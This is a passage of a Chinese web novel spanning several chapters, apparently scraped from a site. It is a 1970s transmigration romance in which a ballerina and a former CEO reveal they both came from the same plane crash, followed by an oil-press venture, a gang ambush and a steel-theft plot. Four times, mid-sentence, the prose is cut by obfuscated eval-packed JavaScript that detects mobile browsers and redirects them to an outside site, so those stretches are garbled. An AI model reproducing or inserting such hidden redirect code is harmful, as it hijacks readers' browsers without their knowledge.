众人这才觉得轻松,关盈钺笑着道:“行了,不想这些了,清云,走,去苏联餐厅吃饭,就当庆祝今天演出成功。也是咱们两方正式见面,以后两家就当亲戚处着。我爸我妈也不知道什么时候回来,百钺的婚事我做主就成。你俩什么时候想结婚了,订个日子,我帮着操持。” 洪安娜拍着胸脯:“还有我,我也帮着操持。” 章清云:“......”这哪有弟弟的婚事,让没结婚的姐姐操持的。 似是看出了章清云的疑惑,关盈钺笑:“九月六号,农历八月初六,那天我结婚。行了,走,咱们边吃边说。” 一行人转战苏联餐厅,已经是下午两点,得亏周日全天不限时,平日里这个时候,过了饭点儿,那对不起,餐厅恕不招待。这年头,哪个单位有国营饭店牛气。 点了菜,关盈钺问起芭蕾舞团的事儿:“你们以前那个台柱子,就转幕后了?” 章清云点点头:“嗯,可人姐年纪也到了,团里已经在招人了,同时也在培养新人。” 洪安娜喝了口汽水儿,问道:“那你以后就是台柱子了?” 章清云谦虚道:“就是跳得多点儿而已。芭蕾舞剧是集体的艺术,不是一个人能跳下来的。” “那下半年的演出任务可重!”洪安娜掰着手指一个个数,“八一,中秋,国庆,元旦,翻过年还有春节,哪个节日不得演出?恐怕还要下基层吧?” 章清云点点头:“对,虽然辛苦些,但补贴也多,都是相辅相成的。” 聊着天,菜渐渐上来。奶油鸡片蘑菇汤、奶油烤鱼、焖罐牛肉、什锦蛋炒饭,一人一杯咖啡,算是很丰盛了。 四个人边吃边聊,突然大厅里的灯一黑,好嘛,停电了。 七十年代电力供应还不稳定,时不时停电,章清云也习惯了。显然,大家也没当回事儿,还出声调侃呢,这个说“哎呀,援朝,你怎么把面包吃进鼻孔里了”,那个叫“你特么才用鼻孔吃饭”,还有人拍桌子“再不来电,我们可走了”,一时餐厅十分欢乐。 餐厅经理赶紧过来安抚:“大家静一静,静一静,一会儿就好了,餐厅有备用电源,一会儿就来电了,大家稍安勿躁。” 果然,电来的很快,除了一两个真正逃单的,大部分还在。四人吃完,关百钺送章清云回家,路上,见四下里无人,章清云歪着头,笑看关百钺:“今天早上,被那个男人推在地上的时候,你说了什么?” 关百钺还真忘了,他疑惑地看向章清云,只见她微微一笑:“你说,shit。” 关百钺只觉嗡的一声,大脑一片空白。他说了吗?飞机失事前,他刚结束M国的出差任务,坐飞机回国。三个月,耳朵里听的净是这些词儿,难道听多了,一不小心,当成口头禅说了出来? 章清云轻笑,接着吐出六个字:“U、A、1、3、7、5。” 关百钺定定看向章清云,这是,出事儿的那架飞机班次? 章清云收了笑,伸出手,大大方方地道:“重新认识一下,我叫章清云,飞机上的另一名头等舱乘客,前国际拳击赛冠军。飞机失事后,穿越成为了同名同姓的芭蕾舞演员章清云。” 关百钺嘴巴张得老大,良久才伸出手,又是笑又是觉得心里暖融融的,他说:“关百钺,上辈子也是这个名儿,庆阳集团CEO。出事儿时正好从M国出差回来,你是去M国打比赛?” 章清云点点头:“对,打完比赛,谁知道就出事儿了。咱俩这算是缘分天注定?” “肯定的。”关百钺笑。 两个人对着傻笑了一阵儿,这才各自回家,消化今日的大消息。 互认了身份,两人相处起来更加自然。这年头谈恋爱,没什么好去处,无非是公园划船、国营饭店吃饭、电影院看个电影,别人还能去看芭蕾舞,但谁让如今章清云就是芭蕾舞演员呢,这个项目都取消了。 不过给两人谈恋爱的时间并不多,就像洪安娜说的,七一之后,文工团的演出多了起来。下基层,去各个工厂慰问演出,农民夏收完,田间地头也要跳一场,文艺下基层嘛。 累是累了些,好在蓝可人没退缩,也跟着去了基层。不过毕竟是要退的,团里考虑将来章清云要挑大梁,主要的演出任务还是给了章清云。毕竟多磨合,积累经验,对以后的重要演出是有好处的。跳得多,相应的,她得到的补贴也是最多的。 像是肉联厂、罐头厂、食品厂这些,东西都可实在了,工厂内部的票,拿着去厂里就能领东西。其他像是钢铁厂、玻璃厂、煤厂这些,也都有跟其他工厂置换的物资,给的票券也都挺实惠。尤其是钢铁厂和煤厂,富得流油,票据给的足足的。 大半个月跳下来,章清云光大豆油,就往家里搬了十斤,更别说大骨头、猪肝、猪大肠这些肉联厂的下脚料了。 关百钺呢,因着上次章清云收干菜的提议,跟周边大队的关系一直保持着,时不时会给章家送些干菜,还有从吴军那里认识的卖泥鳅、黄鳝的哥们,也时不时去买,如今两人关系很不错。 余下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229285|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间,关百钺开始忙活榨油设备的事儿。假模假样看了一个月的书,关百钺特意提着花生米、猪头肉和茅台,登了姐夫师家的门。 师家也是科研大院的,当家人师强十五岁就去M国留洋,是不折不扣的留学生。这时候没出事儿,也是托了师强研究方向的福,基地里离了他真不行。不过也有影响,别人都能通信,师强不行,已经四五年没往家里寄信了。 师母罗霞呢,也不简单,同为M国留学生,学的是机械。没去基地,在钢铁厂任高级工程师。当然,如今职位没了,罗霞也低调起来,平日里大门不出二门不迈的,大院里的人,基本忘了还有这号人物。 关百钺可不敢忘,他这套设计得有专家在后面背书啊,否则他一个小年轻,说造就造,谁鸟他?!就算罗阿姨不方便出面,总会推荐一两个认识的人,他的事儿才能推进下去。 师援军笑着将人迎进屋:“你小子是无事不登三宝殿,进来。” 关百钺摇了摇手上的东西,边进门边道:“姐夫,我可不找你,有事儿找罗姨。” 都是熟人,罗霞也不避讳,跟着喝酒说话。这是个十分豪爽的女性,听到关百钺的计划,二话不说看起图纸,细细问了他的想法,沉吟片刻:“这样,我给你说个人,你去找他,他如今出面,比我有用。我知道你小子,钢铁厂那边肯定送人情了吧?” 关百钺点头,乖巧地道:“什么都瞒不过罗阿姨,走的是吴军的路子,他后妈方阿姨的父亲,是钢铁厂副厂长,对钢材使用、机器调配都能说上话。” 罗霞笑着指了指关百钺:“行,到时候让刘叔领你去找老方,要是能造出来,也算是给市粮油公司作出巨大贡献了,把你调过去做技术员都不成问题。” 事情就算定下来了,关百钺也忙起来,和章清云四五天也见不上一面。章清云演出地点不定,关百钺有空了,都是直接去章家,能遇见就说几句话,遇不上也没什么。如今两人才是这个世界联系最紧密的,心定,不怕一时失联。 忙忙碌碌的,等终于有时间停下来休息,已经是八月中旬,两人约了中午在国营饭店吃饭。这么长时间不见,颇有些相顾无言的意思。 路上走着呢,不巧,半路遇上高斌。这家伙九月要去当兵,如今各个大院的兄弟都在给他办送别宴,今日周末,也是巧了,吴军和一伙人围着高斌,也朝国营饭店走。 狭路相逢,总不能转身就走。高斌看二人的脸色,笑着调侃:“行了,也是缘分,今儿百钺喝一杯,就算送我了,之后你俩自去约会,我们不打扰,总行了吧?” 说得一伙人嗷嗷起哄。关百钺笑着指了指众人:“本来打算过两天专门送送斌哥的,今儿既然斌哥发话了,那就敬你一杯。走。” 章清云摇摇头,跟在后面没说话。这时候也不需要她说话,保持微笑就行。 22. 胡同口英雄救美 高斌搂着吴军说了几句,吴军转头看了关百钺和章清云一眼,笑着道:“行,斌哥,我们先进去点菜,你们快点儿,晚了我们可不等人啊。” 高斌笑着道:“行,别给我省钱,想吃什么点什么。” 等人进去了,高斌才看向章清云,脸色有些犹豫,还是问道:“可人......怎么样了?” 章清云:“听说在相亲了。你俩这是分手了?” 高斌点点头,伸手掏烟,看了眼章清云,又犹豫着收了起来:“可人她妈不肯同意我的条件,一定要扒着我家吸血。我爸也不是什么大官儿,可能真不合适吧。” 说着,苦笑两声,摇了摇头:“走吧,吃饭。” “你小子最近那个榨油设备的事儿,闹得挺大啊。”高斌边走边道,“怎么,想进粮油公司?” 关百钺笑:“瞎捣鼓呗,这不是没事儿做嘛。” “你小子脑子是好,不愧是科学家的儿子。”高斌点了点关百钺,笑着道,“我就不行了,就长了个当兵听命令的脑子。小武以后就麻烦你了,该打打该骂骂,别客气。” 关百钺可不敢应这话,笑着推辞道:“小武如今可是市政部门的红人,我可管不了。斌哥要是不放心,让高伯父高伯母监督着些。无非是权钱色三字,我都跟小武说过。但你也知道,毕竟不是一个大院的,我也看不了那么紧。” 高家是部队大院的,而关家是科研大院,高斌闻言怔了怔,还想再说什么,吴军等人已经开始起哄,高斌只得闭嘴。一群人闹闹哄哄的,午饭吃到下午四点多才散。 坐在关百钺自行车后,章清云晃荡着腿儿,问道:“吃饱了吗?吴军他们净起哄了,我看你都没怎么吃。” 关百钺:“还行吧,回家再啃个窝头就成。你呢,吃饱没?” 章清云噗嗤笑了出来,一个集团CEO啃杂粮窝头,怎么这么可乐呢。 关百钺可不知道她笑什么,章清云也不说,而是低声道:“原身胃口小,吃得不多。对了,我去钢铁厂下面的采矿厂、冶炼厂演出,领导给了一张缝纫机票、一张自行车票和和一张收音机票。你那个什么设备的是不是得宣传宣传?不是都说酒香也怕巷子深嘛,是不是得请报社、广播报道报道?” 关百钺立马笑得十分舒畅,他说:“放心,已经在走关系了。那缝纫机票和自行车票给我留着,收音机票给叔叔用吧,家里的收音机不是不好用嘛,正好换一个。” 章清云就笑:“我爸啊,给他送过去,他竟然说要拿去黑市卖钱,说什么都不买,抠门儿得很。” 关百钺的自行车顺势拐了个方向:“收音机票带了吗?直接买了给叔叔送过去,他肯定高兴。” 章清云愣了下,她没跟父母相处过,不知道这么做行不行,只是心间仿若一股暖流划过,她说:“骑慢点儿。要是需要我跟着应酬,你说句话,我肯定跟你去。” 关百钺:“......”女朋友上辈子是运动员,一直以来的环境都很单纯,她可能根本就不知道应酬俩字的含义。当然,如今这个年代,应酬还没那么乱,可关百钺却不打算带着女人去。见朋友交际可以,应酬免谈。 他笑笑,转移话题道:“袁家老二相亲怎么样了?” 说着话,到了百货商店,正好来了新的收音机,关百钺出钱,章清云出票,顺利拿下一台。路过“小卖部”胡同时,关百钺特意又拐过去:“大姐说这两天来了新的夹心饼干,可好吃了。带回去给小远尝尝,你也吃两块。” 花了三块钱,买了一斤夹心饼干,可以说是天价了。章清云都肉疼,她上个月发工资,才二十四元!当然,跳舞得的补贴多,但钱也太少了。三块钱可是她工资的八分之一,想想就肉疼。 关百钺忍不住调侃:“怎么,怕我养不起你啊?” 章清云白了他一眼:“我就是觉得太贵了。” 她低声道:“这个年代,工资也太低了。我上个月才发了二十四,够干什么的。” 关百钺推着自行车,听着“女朋友”的抱怨。心里却在想,得想办法赚钱,啥时候,男人都不能让女人没钱花啊。 到了大杂院,那么大一个收音机,谁看不到啊,纷纷说章家找了个好女婿,刚谈就知道讨好老丈人了,话里话外地带着酸。 看在收音机的面子上,章砚臻留下便宜女婿吃了晚饭,八点了,关百钺才往家走。天黑了,路上的行人不多,关百钺正准备加速呢,不期然胡同里蹿出七八个小伙子,一个个拎着砖头,一下子拦住了路。 “关百钺是吧?”领头的是个二十岁上下的年轻人,一身蓝色工装,抖着腿儿上下打量关百钺,“你挺牛啊,魏雪不让我们胡同的混混碰,你自己倒是出来在我们胡同里捞食儿吃!钢铁厂最美的婆子被你拍了,是不是得给我们个说法?” “奎哥,跟他废什么话!给他一板砖,看他还敢不敢捞过界!” “就是,苏赖子虽然没了,还有奎哥呢。最特么看不惯这帮大院的,平日里拽的二五八万的,其实呢,屁本事没有。一单挑准完蛋,就仗着人多罢了。呸,窝囊废!” “就是,大院儿的都是怂货!别跟他废话,干他丫的!” 关百钺握紧车把,前后都被人堵了,逃不掉,他冷笑一声,这时候可不能露出一点儿怕的意思,高声道:“怎么,瞧不起我们大院的,可你们如今不是也仗着人多欺负人少?怎么,我们这么做就是欺负人,你们就不是了?刚怎么骂的来着,脸疼不疼?” “嘿,你小子嘴还挺硬。”被叫做奎哥的男人抬了抬手,七个小弟瞬间不说话了,一个个圆瞪着眼睛,凶狠地看向关百钺。 关百钺只当看不见,耳听奎哥继续道:“想单挑?挨我们一人一板砖再说!当初你们一群人堵苏赖子的时候,就该想到今天......” 说着话呢,胡同里冲出来一辆自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232576|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行车,歪七扭八地撞向这群人,边撞还边喊:“哎呦,刹车坏了,让让,让让。” 人群霎时被冲得七零八落,有哎呦乱叫摔倒的,有跳跃躲闪指着人骂的。关百钺抱胸冷眼旁观,想看看到底怎么回事儿。 只听那冲出来的人扭头对着关百钺,无奈道:“哥们儿,傻了?跑啊!” 感情是专门来救他的,关百钺失笑,手无缚鸡之力的文弱书生,到了这个时代,也就剩被英雄救美的份儿了。 被叫做奎哥的男人险险地躲过自行车,指着突然冲出来的人,气急败坏道:“陶勇,别管闲事儿。自己屁股还不干净呢,别人的事儿少管。” 陶勇冷声道:“孙奎,差不多得了,章清云什么时候都不可能看上你,你就死了那条心吧。” 孙奎哼一声:“看不看得上我是另一码事儿,跟今天这事儿不相干!他们大院的姑娘不让咱们胡同的人碰,怎么,咱们胡同的婆子就得被大院的拍去?你让开,今儿我非给他个教训不可!” 陶勇冷眼看过去:“这是不给面儿?” 孙奎梗着脖子:“不给!” 陶勇耸耸肩:“行吧,既然不给面子,就别怪我站在这人一边了。”顽主劝架就是这样,要是双方都给面儿,那自然你好我好大家好。要是一方死犟着不肯低头,那劝架的往往会变成打架的,帮着另一方打那不给面儿的一方。 陶勇就望向关百钺:“哥们儿,叫个什么?我都要跟你一起打架了,总得知道你叫什么吧?” 以今日陶勇的应对,估摸前一段是有事儿不在青江市,否则在高斌的那场中人聚会上,怎么也得见过这个人。关百钺不动声色地说:“关百钺,科研大院的,哥们呢?” 陶勇指了指身后:“咸水胡同,陶勇。” “少特么废话!”孙奎扬手,举着砖头欲往前冲,谁知一道清凌凌的声音响了起来。 “警察来了,警察来了!” “艹!”孙奎停住脚,望向声音的来处,黑乎乎的,什么都看不见。他低低骂了一句,对七个小弟道,“走。” 边退,边指着关百钺,声音里都带着恨:“你等着,下次老子再收拾你!” 那也得有下次,关百钺脸上带着笑,已经在想着用谁去钳制孙奎了。目前还不知道孙奎做没做过伤天害理的事儿,等查清了,就知道该用谁了。 孙奎一行人没影儿了,关百钺才笑眯眯地看向发出声音的地方,章清云浑身上下萦绕着寒气,一步步走出来:“没事儿吧?” 关百钺摇摇头,指着陶勇道:“没事儿,这人救了我。” “勇哥?”对此人,章清云有印象,她试探着问道,“来找盼儿的?” 陶勇笑笑,他和苗盼儿算是两情相悦,可惜,苗家父母看不上他,一心想让盼儿攀高枝儿,两人只得偷偷来往,不过这就不用跟章清云说了,陶勇道:“给盼儿送个东西。你们说吧,我走了。” 23. 杜玉玲案有结果 “等等,勇哥。”关百钺在身上掏了掏,掏出两张票,递过去道,“给钱是寒碜你呢,这是两张糖厂的糖票,拿着吧。”说话间眨眨眼,谈女朋友嘛,怎么能没有零嘴儿呢。 陶勇的眼神儿在两人之间来回皴寻,笑着接过来:“那我就不客气了。你小子,是个人物,哥交你这个朋友。以后小心些孙奎,这小子跟苏赖子一样,混的也是下三路,小心着了他的道儿。” “好,勇哥慢走。” 笑着把人送走,章清云这才道:“为什么的?我?” 关百钺摇摇头:“不关你的事儿。半大小子,把面子看得比天大。估计你这个原身都没怎么见过孙奎,不过是一帮混子争地盘儿罢了。你别管了,好好跳舞,我会摆平的。” 章清云不放心,低声叮嘱:“你可别做什么犯法的事儿,小心以后清算的时候找你的事儿。” “放心。”关百钺转移话题,“怎么半道儿出来了?” 章清云白了男人一眼,能为什么的,上厕所呗。如今胡同大杂院都是共用厕所的,想上了,至少得走个五六分钟,比楼房可麻烦多了。 以前看八十年代的电视剧,章清云不理解为什么有人会卖四合院,现在理解了,这时候的平房,住着真的不舒服!这还是夏天呢,要是冬天,三九寒天的出来上厕所,谁上谁一个不吱声。她问道:“你家那小别墅有马桶吗?” 关百钺就笑:“有,什么时候去大院儿看看就知道了,条件还行。” 章清云羡慕的啊,深深看了关百钺一眼:“你等我一会儿,我上完厕所送你回去。你又不会功夫,要是再有人找茬,可就没这么幸运了。” 谁知关百钺跨上车子就走:“你赶紧回去吧,我一个人能行。明儿见!”开玩笑,他就算是文弱书生,也没有让女人送回家的道理!文弱书生的面子,也是面子! 章清云笑着喊:“你小心些!” 关百钺骑在车上摆摆手,头也不回地走了。章清云摇摇头,小跑着去公厕上厕所。 出来遇见苗盼儿,章清云愣了愣。苗盼儿低着头,大长腿不时地划拉两下地面,等章清云路过时,她才低声道:“不准说出去!” 章清云翻个白眼儿,她又不傻,苗盼儿虽然日常嫉妒原身,可没做过什么坏事儿,不能说是个坏人,团里跳舞的时候也很用心,她是痰迷了心才去多管闲事儿! “你放心,我不会乱说话的。不过你当心些,你俩能被我发现,不定还有什么人知道呢,苗大叔牛大婶儿知道了,可饶不了你。” 苗盼儿转身,嘴硬地道:“要你管!别以为谈个大院的就多好,高门大院不是那么好进的,你才要小心呢。”说着一甩辫子,头也不回地离开。 别扭的小孩儿,章清云跟着往家走。 翌日,一到文工团,就收到消息,杜玉玲的事儿有了结果。那个动手的男人已经抓获,咬出了杜玉玲,不过却说是看不得杜玉玲受委屈,自愿做的,将责任全揽了过去,任凭怎么问都是这个话。 公安当然不是吃素的,也去男人家里附近调查过,男人是杜玉玲的邻居,确实是喜欢杜玉玲,胡同里大家都知道,那怎么回事儿还猜不出来?加上关百钺的口供,虽不能证死了杜玉玲,将她送到下面的农场学习,也不是不行。 于是一早,杜玉玲来团里收拾东西,阴沉着一张脸,谁跟她说话都不理,好像大家合伙欺负她似的。临走前阴鸷地目光扫向章清云,定了有四五秒才走。 团里静悄悄的,大家小心地看向章清云,章清云却不觉得害怕。如今是七零年,像是杜玉玲这种犯错误下放的,运动结束前,很少有能回来的。那至少这七八年,她都不用担心杜玉玲。至于七八年之后,她肯定是要考大学的,杜玉玲再厉害,手还能伸到大学里去? 她没事儿人一样热身,程紫鹃就站在她身后,低声道:“清云,你就不怕?这就跟被毒蛇盯上一样,你可别不当回事儿,指不定她什么时候出来咬你一口呢。” 章清云边压腿边回道:“只有千日做贼的,哪有千日防贼的。她就算恨我,我还不过日子了?再说,我也是很厉害的,她这次算计不过我,下次依然算计不过。好了,不说她了,你昨儿不是相亲去了吗,怎么样,看上没?” 程紫鹃撇撇嘴,满眼都是委屈:“别提了。明明知道我是跳芭蕾的,还说什么结婚后最好不要做这种抛头露面的工作,说让我爸把我调去□□门。呸,想得倒是美!你说现在的男人怎么这样啊,明明是看在我能跳芭蕾,家里条件肯定不错,长相身材也还过得去的份儿上,这才来的。嘿,说到婚姻了,又开始嫌弃我是跳舞的。我还没嫌弃他年纪轻轻就秃顶呢!他凭什么嫌弃我的工作?” 越说越气,说到最后脸都红了。 章清云连忙转过身,安慰道:“好了,为了不相干的人这么生气,可不值当。我们小紫鹃可一向是个开心果,可不能让臭男人影响心情。我今儿带了夹心饼干,中午的时候给你吃。” 程紫鹃这才破涕为笑:“那我要吃两个,你的那个也给我吃。” “行,我的那个也给你吃。”章清云见人好了,这才转过身重新热身。 等大家都热身好了,周文芳才到,不是一个人来的,身边还站着一穿绿军装的姑娘,看样子十七八岁,长相跟蓝可人是一挂的,精神昂扬的女战士形象,只是没有蓝可人骨架大,眼睛也小巧一些。 周文芳拍拍手,给大家介绍道:“这是姚燕妮,文工团从下面的市区选拔上来的,以后会和清云一起,分别带组演出,大家欢迎。”她没说的是,蓝可人从今天起,就转为幕后了。以后下面的工厂有需要文艺骨干的,文工团都可以放人。 稀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241113|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稀拉拉的掌声响起,大家你看看我,我看看你,都没想到文工团招人这么快。周文芳也没多话,舞者其实跟武侠片里的侠客似的,不用说那么多,一切用实力说话。能跳就是能跳,她介绍再多,也比不上姚燕妮跳两次。 是的,一训练大家就看出来了,这是个基本功扎实的。如果说章清云是刚柔并济型选手,那姚燕妮完全就是一个字,刚。她的每一个动作,都在诠释着,这是个硬扎扎、面对敌人刑讯逼供、也丝毫不会退缩的女战士,是真正的军人! 休息时,程紫鹃性子活泼嘛,就问了:“燕妮,你是当过兵吗?动作可真利落,跟我们都不一样。” 姚燕妮一边擦汗一边说:“嗯,我十六岁入伍,当了两年兵。” 程紫鹃:“那你从小就练舞蹈?” 姚燕妮笑:“对,我妈以前就是文工团的,特别看中女孩子的体态。我也是从小被逼着练舞,这次能被团里招上,也是幸运。” 并不难相处的一个人,大家你一言我一语的,很快熟悉起来。 姚燕妮对着章清云歪头笑:“我听安娜姐提过你。” 见章清云不解,姚燕妮解释道:“沈爱军是我舅家表哥。” 章清云这就懂了,原来是沈老爷子的外孙女,洪安娜的表小姨子。怪不得呢,又有实力又有背景的,还又红又专,领导当然乐于要这种人了。 关系套关系的,找到了彼此认识的人,不过两人没特意去找洪安娜。都是一个团的,处的日子久着呢,不急于一时。 不过有一件事却很急,那就是孙奎的事儿,得处理。这日一早,关百钺特意提着东西,去咸水胡同找陶勇,打听这个孙奎。 陶勇家在大杂院,逼仄的很,邻里邻居的又多,不是说话的地方。放下东西,两人去了苏联餐厅。 刚坐下,陶勇就笑:“也跟着科学家开开洋荤。” “勇哥别开我的玩笑了。您这样的人物,会没来过苏联餐厅?” 服务员送来菜单,关百钺示意陶勇点菜,陶勇摇摇头:“你出钱,你点就行。我就是个蹭饭的,得有蹭饭的自觉。” 关百钺也不客气,点了个焖罐牛肉、什锦蛋炒饭和红菜汤,冷菜要了卤牛肉。 等菜期间,关百钺说了这次请客的意图,陶勇道:“也没什么瞒着的,孙奎的事儿,各个胡同里一打听就知道。这小子今年二十二,是菜站的搬运工。不过胡同的事儿你可能不知道,孙奎能帮着大家平事儿,平时争抢福利的时候又肯出力,那胡同的人就都护着他。搬运工的工作他时去时不去的,大家也不说啥。他呢,也知道兔子不吃窝边草的道理,混都是在其他地方混,在他们铜锁胡同,他可是这个。” 说着竖起大拇指,继续道:“不过在外面,这小子可不讲究。自从苏赖子死后,光是吃佛,孙奎就能养活一大家子。” 24. 孙奎牵出堂哥事 ‘吃佛’是一句黑话,青江市的扒手们,自称“佛爷”,平日里除了偷钱包,对打架斗殴的事儿倒是不热衷,又胆小,常常是能躲多远躲多远。为了不被欺负,扒手们会定期向大的混混顽主上贡,以期这些人的保护,跟后世的保护费差不多。 关百钺点点头,光是吃佛这点儿事,肯定搬不倒孙奎。只听陶勇继续道:“这小子胆儿大,最近跟钢铁厂的几个工人走得近,不知道想干什么。估计也是听那些工人絮叨过你,为了跟工人们拉近关系,这才想着找你的茬。他其实对男女之事没那么看重,这人爱钱,据说跟着他混的,或多或少都发了。”说着眨眨眼,表示他就知道这么多,再往深了说,那就是不讲义气。 关百钺笑笑,也不难为陶勇,恰好菜也来了,他拿起筷子道:“行,多谢勇哥。那咱们吃饭,不说这些烦心事儿了。尝尝这个焖罐牛肉......” 其实陶勇说的很清楚了,孙奎是想偷盗钢铁厂的钢材!那就跟老丈人商量嘛,章砚臻是钢铁厂的七级电工,平时要下各个车间检修电路的,厂子里的弯弯绕肯定比他清楚,用谁去抓,怎么抓,都让他老人家拿主意。 对于陶勇,关百钺还要再观察观察。如果可靠,关百钺是想带着陶勇一起做的。榨油机的事儿牵扯到后期办厂的问题,不是他一个人能跑下来的。有一个能在人堆里混得开的,也是助力。 不过现在说这些还太早,跟陶勇也只见了两面,还得再看看。吃完饭,两人告辞,关百钺又去忙活榨油机器的事儿。 上次罗霞推荐的刘叔,关百钺已经拜会过了,人家很给面子,不仅帮着改了图纸,还带着他去见了粮油公司的领导。能将大豆的出油率,从百分之十五提高到百分之二十二,可以说,一旦造成,就是到手的功劳,且是多方得力的事儿。 就以年产量一吨的小型榨油厂为例,如今的出油率普遍在百分之十五左右,榨一吨的油,至少需要七吨左右的大豆。如果出油率提升到百分之二十二,那年产量能到一点四吨。 别看只多出来零点四吨,一吨是两千斤,零点四吨可是整整八百斤油!就算中间有损耗,也至少能多出五六百斤吧! 那如果是更多的榨油厂呢? 而且谁规定了,报上去就得是百分之二十二呢?他们今年报个百分之十八、明年报个百分之二十的,谁知道?那剩下的百分之二到百分之四,不就是大家的福利?如今不关心生产,一切以政治运动为纲,可再不关心,柴米油盐酱醋茶,油可排第三,谁能不心热? 关百钺这几日都在忙这个事儿,今天能腾出时间请陶勇,也是因着孙奎这个事儿出得急,否则他还真没时间。 到了傍晚,五点五十吧,关百钺准时出现在文工团门口。既然要去找老丈人商量事儿,肯定要来接章清云下班,这样上门才不突兀。 等了十分钟,章清云和程紫鹃说说笑笑地出来,看见关百钺,程紫鹃捅了捅好伙伴的胳膊,贼兮兮地笑,笑够了摆摆手道:“我可不是那没眼色的,走了,明儿见。” 笑着和程紫鹃告别,章清云推上自行车,目光定在关百钺拎着的网兜上,问道:“又买什么东西了?” 关百钺笑笑没说话,等离文工团远了些,人没那么多了,才说:“去粮油公司了,那边给的半斤猪油渣,我又不常做饭,拿回家去吃吧。” 章清云笑:“那感情好,酸菜猪油渣包子可香了,今儿咱们就包。” 跨上自行车,不到半个小时,到了三叉树胡同。对于准女婿三不五时地来拜访,章砚臻都习惯了。真的,再多的不喜,对上这么个死皮赖脸厚脸皮的,气都发不出来。 章砚臻也看出来了,这是个务实的人。务实好啊,如今这个年月,务实能让他闺女过安生日子,章砚臻心里其实是松了口气的。就怕跟其他大院的顽主似的,对什么事儿都上头,那他就是养清云一辈子,也不会同意清云嫁给他。 今日见到猪油渣,章砚臻笑得欢快多了,他吩咐道:“清云,去和面,今晚上包包子吃。” 章清云上辈子是孤儿,自然会做饭,她答应一声,洗了手,舀一瓢玉米面,掺了一半儿的白面,这才开始加水和面。 关百钺很会给自己找活儿,他望向灶房里挂着的干辣椒,笑着道:“章叔,家里能吃辣吗?加几个辣椒,酸辣口的,也好吃。” “能,你摘一小把,一会儿拌馅儿的时候呛个锅,香。” 看着难得相处愉快的准翁婿,陈静在正堂笑笑,找出前几天章砚臻发的一两茶叶票,准备走的时候塞给关百钺。不能总拿人家孩子的东西,他们也得付出点儿什么才行。 包子包好,给章砚廷家送了一小篮,七八个吧。今天章砚廷家吃凉面,肉酱拌的,正好回了章砚臻家大半碗酱。 等吃过了饭,章清远也出去玩了,关百钺才说了这次来的目的。听说孙奎伙同钢铁厂的工人,想偷盗钢材,陈静大吃一惊:“这也太大胆了!偷盗集体财物,这可是要判刑的。不是简单一句有背景就能糊弄过去。” 章砚臻多看了关百钺几眼,这小子突然找混混的麻烦,必然是发现了什么。他望向闺女俏生生的脸,还有什么不明白的,这个孙奎,必是对清云有想法! 那就怪不得关百钺收拾他了,他章砚臻都不会放过孙奎!章砚臻低声道:“等我在厂里打听打听都有谁掺和进去了。静静,你明儿上班只跟你们队长说一声,这事儿还不能有太多人知道。等我打听清楚了,你们再盯人。不动手还好,一旦动手,必要抓现行才好。” 陈静自然明白这个道理,她点点头,四人又商量了一些细节,关百钺才起身离开。 谁也没想到,这一查,倒查出一个意想不到的人。谁呢?章清云的三堂哥,章清宇。 章清宇今年十八,只比章清云大两个月。早在四年前,形势不对的时候,章砚臻就提醒大哥,让清宇别读书了,去工厂做个学徒工,先占据个工作名额再说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247845|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不是说不让章清宇读书,而是这小子不好好学,初中好几次考试都不及格,很大概率是考不上高中的。 可谁知章清宇不听,死活要读高中,没办法,犟不过,只得让他继续读,章清宇也争气,和章清云一起顺利考入了高中。谁知十六岁一毕业,好嘛,两人双双面临下乡。当时章清云是考入了文工团,章清宇这边就不好弄了。 章砚廷求爷爷告奶奶的,给安排了个临时工的职位。不过今年下乡政策严了,据说临时工也得下乡,也不知道章清宇会不会被下乡。 